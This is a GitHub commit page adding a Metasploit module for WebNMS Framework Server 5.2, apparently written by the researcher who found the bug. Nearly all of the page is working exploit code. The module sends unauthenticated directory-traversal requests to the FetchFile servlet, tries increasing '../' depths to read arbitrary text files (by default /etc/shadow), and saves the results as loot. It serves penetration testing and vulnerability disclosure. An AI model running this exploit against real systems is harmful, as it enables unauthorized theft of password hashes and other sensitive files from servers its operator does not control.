Skip to content

Commit 963437d

Browse files
committed
Land rapid7#7063, Add module for WebNMS 5.2 Arbitrary File Download
2 parents c2a5da0 + 0a40e7d commit 963437d

File tree

1 file changed

+118
-0
lines changed

1 file changed

+118
-0
lines changed
Lines changed: 118 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,118 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Auxiliary::Report
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'WebNMS Framework Server Arbitrary Text File Download',
17+
'Description' => %q(
18+
This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an
19+
unauthenticated user to download files off the file system by using a directory
20+
traversal attack on the FetchFile servlet.
21+
Note that only text files can be downloaded properly, as any binary file will get
22+
mangled by the servlet. Also note that for Windows targets you can only download
23+
files that are in the same drive as the WebNMS installation.
24+
This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
25+
Windows and Linux.
26+
),
27+
'Author' =>
28+
[
29+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' =>
33+
[
34+
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ]
35+
],
36+
'DisclosureDate' => 'Jul 4 2016'
37+
)
38+
)
39+
register_options(
40+
[
41+
OptPort.new('RPORT', [true, 'The target port', 9090]),
42+
OptString.new('TARGETURI', [ true, "WebNMS path", '/']),
43+
OptString.new('FILEPATH', [ false, "The filepath of the file you want to download", '/etc/shadow']),
44+
OptString.new('TRAVERSAL_PATH', [ false, "The traversal path to the target file (if you know it)"]),
45+
OptInt.new('MAX_TRAVERSAL', [ false, "Maximum traversal path depth (if you don't know the traversal path)", 10])
46+
],
47+
self.class
48+
)
49+
end
50+
51+
def check_filename(path)
52+
valid = true
53+
invalid_chars = [':', '?', '*', '|', '"', '<', '>']
54+
invalid_chars.each do |i|
55+
if path.include? i
56+
valid = false
57+
break
58+
end
59+
end
60+
end
61+
62+
def run
63+
if check_filename(datastore['filepath'])
64+
file = nil
65+
if datastore['TRAVERSAL_PATH'].nil?
66+
traversal_size = datastore['MAX_TRAVERSAL']
67+
file = get_file(datastore['FILEPATH'], traversal_size)
68+
else
69+
file = get_file(datastore['TRAVERSAL_PATH'], 1)
70+
end
71+
if file.nil?
72+
print_error("#{peer} - Failed to download the specified file.")
73+
return
74+
else
75+
vprint_line(file)
76+
fname = File.basename(datastore['FILEPATH'])
77+
78+
path = store_loot(
79+
'webnms.http',
80+
'text/plain',
81+
datastore['RHOST'],
82+
file,
83+
fname
84+
)
85+
print_good("File download successful, file saved in #{path}")
86+
end
87+
else
88+
print_error("Module Failed: Invalid Filename")
89+
end
90+
end
91+
92+
def get_file(path, depth)
93+
while depth > 0
94+
file_name = "../" * depth + path
95+
vprint_status("Attempting to get file: #{file_name}")
96+
begin
97+
res = send_request_cgi(
98+
{
99+
'uri' => normalize_uri(target_uri.path, 'servlets', 'FetchFile'),
100+
'method' => 'GET',
101+
'vars_get' => { 'fileName' => file_name }
102+
}
103+
)
104+
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
105+
Rex::HostUnreachable, Errno::ECONNRESET => e
106+
print_error("Connect to the target: #{e.class} - #{e.message}")
107+
return nil
108+
end
109+
if res &&
110+
res.code == 200 &&
111+
!res.body.to_s.empty? &&
112+
(res.body.to_s.include? "File Found")
113+
return res.body.to_s
114+
end
115+
depth -= 1
116+
end
117+
end
118+
end

0 commit comments

Comments
 (0)